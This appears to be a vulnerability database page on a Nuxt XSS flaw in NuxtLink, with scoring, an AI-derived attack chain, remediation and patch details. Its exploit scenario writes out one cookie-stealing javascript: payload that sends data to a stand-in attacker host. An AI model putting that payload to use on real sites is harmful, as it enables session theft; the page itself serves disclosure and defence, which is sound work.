Skip to main content

Nuxt CVE-2026-53722

| EUVDEUVD-2026-36428 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-12 GitHub_M GHSA-934w-87qh-qr26
5.1
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify Nuxt app binding untrusted URL to <NuxtLink> prop
  2. Delivery
    Submit javascript: or vbscript: payload as link value (CMS field, query param, profile URL)
  3. Exploit
    Application renders crafted href verbatim in <a> element
  4. Install
    Send victim a link to the affected page
  5. C2
    Victim clicks rendered anchor
  6. Execute
    Script executes in application origin
  7. Impact
    Exfiltrate session tokens or perform authenticated actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target Nuxt application explicitly passes attacker-controlled input - originating from a query parameter, a user-supplied profile URL, a CMS-managed link field, or any other external data source - directly to the to or href prop of a <NuxtLink> component without prior scheme validation. Applications that use <NuxtLink> solely for internal route navigation (e.g., to='/about') are not affected. Custom slot consumers that re-bind the exposed href or route.href slot props to their own <a> elements under the custom prop scenario face identical risk. Exploitation is further limited by the requirement that the victim must click the rendered link - passive page load does not trigger the javascript: XSS payload. The data:text/html variant bypasses the click-to-execute XSS path but enables a phishing surface. No authentication is required of the attacker, and the victim's authentication level is irrelevant to exploitability (though a highly privileged victim yields greater impact). Non-default configuration or feature flags are not required - the vulnerable code path is active in any Nuxt application using the <NuxtLink> component with dynamic href binding.

Impact

The CVSS 4.0 score of 5.1 (Medium, AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N) accurately characterizes the exploitability profile: the attack is network-reachable with no complexity or privilege requirements, but requires a victim to click the crafted link (UI:A), which meaningfully constrains mass exploitation. The EPSS score of 0.06% at the 20th percentile is consistent with the user-interaction requirement and the conditional nature of the vulnerable pattern - only applications that bind untrusted input to NuxtLink are exposed, not all Nuxt deployments. The vulnerability is not in CISA KEV, confirming no active exploitation at time of analysis. However, the public security advisory and fix commits effectively document the vulnerability's mechanics, lowering the barrier for a motivated attacker to craft targeted phishing campaigns. No conflicting signals were found between CVSS metrics and the description: the network attack vector is accurate for a web-delivered XSS, and UI:A correctly captures the click requirement. The primary real-world risk is targeted phishing or session-hijacking against higher-privileged users of affected applications with user-controlled link rendering, rather than broad automated exploitation.

Exploit ScenarioDerived

An attacker identifies a Nuxt application that renders user-supplied profile URLs through <NuxtLink :to='user.profileUrl'> and submits javascript:fetch('https://attacker.example/c?d='+document.cookie) as their profile URL value stored in the application's CMS or user record. When an authenticated victim (such as an administrator reviewing user profiles) visits the page and clicks the rendered profile link, the script executes in the application's origin, exfiltrating the victim's session cookies or CSRF tokens to the attacker's server. No special tooling is required beyond crafting the malicious URL value, and no public exploit code currently exists that would automate this attack.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 12, 2026

Reflected DOM-based XSS in Nuxt's built-in <NuxtLink> component allows an unauthenticated attacker to inject script-capable URLs (javascript:, vbscript:) that execute in the application's origin when a victim clicks a crafted link, affecting all Nuxt v3 versions prior to 3.21.7 and v4 versions prior to 4.4.7. Exploitation is contingent on application code that binds attacker-controlled input - such as query parameters, CMS link fields, or user-supplied profile URLs - directly to the component's to or href props without prior sanitization. No public exploit code has been identified and the EPSS score of 0.06% (20th percentile) indicates low observed exploitation probability; vendor-released patches are available in versions 3.21.7 and 4.4.7.

RemediationAI

The primary remediation is to upgrade to Nuxt 3.21.7 (v3 branch) or 4.4.7 (v4 branch), both of which include the sanitizeExternalHref() fix confirmed by patch commits at https://github.com/nuxt/nuxt/commit/0103ce06fbbbdfa079a7f020ef8ce00121eac4a3 and https://github.com/nuxt/nuxt/commit/53284043dc21210a25d629d1cec67d3ae557ffd0. If immediate upgrade is not feasible, applications should implement server-side or data-layer URL validation before binding any external input to <NuxtLink> props: specifically, allow only known-safe schemes (https:, http:, mailto:, tel:) via an explicit allowlist, rejecting all others prior to rendering - placing this check in the data pipeline rather than in the template avoids reliance on client-side component behavior. Additionally, deploying a strict Content Security Policy header (script-src 'self' with no unsafe-inline) will reduce exploitability of any residual XSS sinks, though CSP alone will not prevent DOM-based injection or the data: phishing vector. Custom slot consumers that re-bind the href or route.href slot props to their own anchor elements must apply the same input sanitization.

Affected VersionsENISA

nuxt 4.0.0, < 4.4.7
nuxt < 3.21.7

Affected Packages

npm nuxt fix: 3.21.7, 4.4.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in packages/nuxt/src/app/components/nuxt-link.ts, Nuxt's routing anchor component that wraps Vue Router's useLink composable. Prior to the fix, any value passed to the to or href prop was reflected verbatim into the rendered <a> element's href attribute without protocol validation, satisfying CWE-79 (Improper Neutralization of Input During Web Page Generation). Browsers interpret javascript: and vbscript: URLs as executable scripts when activated, making any unsanitized href sink a potential XSS vector. A secondary data:text/html payload does not execute in the application's origin but enables a same-tab phishing surface anchored to a legitimate URL. The custom slot mechanism also exposed the raw href and route.href values to slot consumers, meaning applications that re-bound those props to their own anchor elements were identically vulnerable. The fix, delegating scheme validation to ufo's isScriptProtocol helper, introduces sanitizeExternalHref() which strips ASCII whitespace and control characters (exploited by parsers tolerating them before the scheme), recursively peels view-source: prefixes (transparently resolved by Chromium), and rejects javascript:, data:, vbscript:, and blob: schemes by returning null. The affected CPE is cpe:2.3:a:nuxt:nuxt:* covering all pre-patch releases.

Know when Nuxt gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered XSS with no privileges required; S:C because script executes in the application's browser origin; UI:R for required victim click.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 12, 2026 - 16:01 EUVD

DescriptionCVE.org

Nuxt is an open-source web development framework for Vue.js. Prior to versions 3.21.7 and 4.4.7, <NuxtLink> did not validate the URL scheme of values bound to its to or href props before rendering them into the href attribute of the underlying <a> element. When an application binds attacker-controlled input (a query parameter, a CMS field, a user-supplied profile URL) to <NuxtLink :to> or :href, the attacker can supply a javascript: or vbscript: URL that is reflected verbatim into the rendered markup. Clicking the link executes the supplied script in the origin of the Nuxt application, resulting in reflected DOM-based cross-site scripting. A data:text/html,... payload reflected through the same sink does not execute in the application's origin but enables a same-tab phishing surface anchored to a legitimate application link. The same value was exposed to consumers of the component's custom slot via the href and route.href props, so applications that re-bind those values to their own anchors were affected identically. This issue has been patched in versions 3.21.7 and 4.4.7.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Nuxt

View all
CVE-2023-3224 CRITICAL POC
9.8 Jun 13

Code Injection in GitHub repository nuxt/nuxt prior to 3.5.3. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2024-34344 HIGH POC
8.8 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2024-23657 HIGH POC
8.8 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2024-42352 HIGH POC
7.5 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2026-61793 MEDIUM POC
6.9 Sep 17

Unauthenticated server-side request forgery in Nuxt OG Image (the npm package nuxt-og-image) 6.0.2 through 6.6.x allows

CVE-2025-52662 MEDIUM POC
6.1 Nov 07

A vulnerability in Nuxt DevTools has been fixed in version **2.6.4***. Rated medium severity (CVSS 6.9), this vulnerabil

CVE-2024-34343 MEDIUM POC
6.1 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated medium se

CVE-2023-0878 MEDIUM POC
6.1 Feb 17

Cross-site Scripting (XSS) - Generic in GitHub repository nuxt/framework prior to 3.2.1. Rated medium severity (CVSS 6.1

CVE-2022-4413 MEDIUM POC
6.1 Dec 12

Cross-site Scripting (XSS) - Reflected in GitHub repository nuxt/framework prior to v3.0.0-rc.13. Rated medium severity

CVE-2023-2138 CRITICAL
9.8 Apr 18

Use of Hard-coded Credentials in GitHub repository nuxtlabs/github-module prior to 1.6.2. Rated critical severity (CVSS

CVE-2026-41248 CRITICAL
9.1 Apr 24

Authentication/authorization bypass in Clerk's official JavaScript SDKs (@clerk/nextjs, @clerk/nuxt, @clerk/astro, and t

CVE-2026-53721 HIGH POC
8.8 Jun 12

Route-rule middleware bypass in Nuxt 3.11.0-3.21.6 and 4.0.0-4.4.6 allows remote attackers to evade routeRules-defined p

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy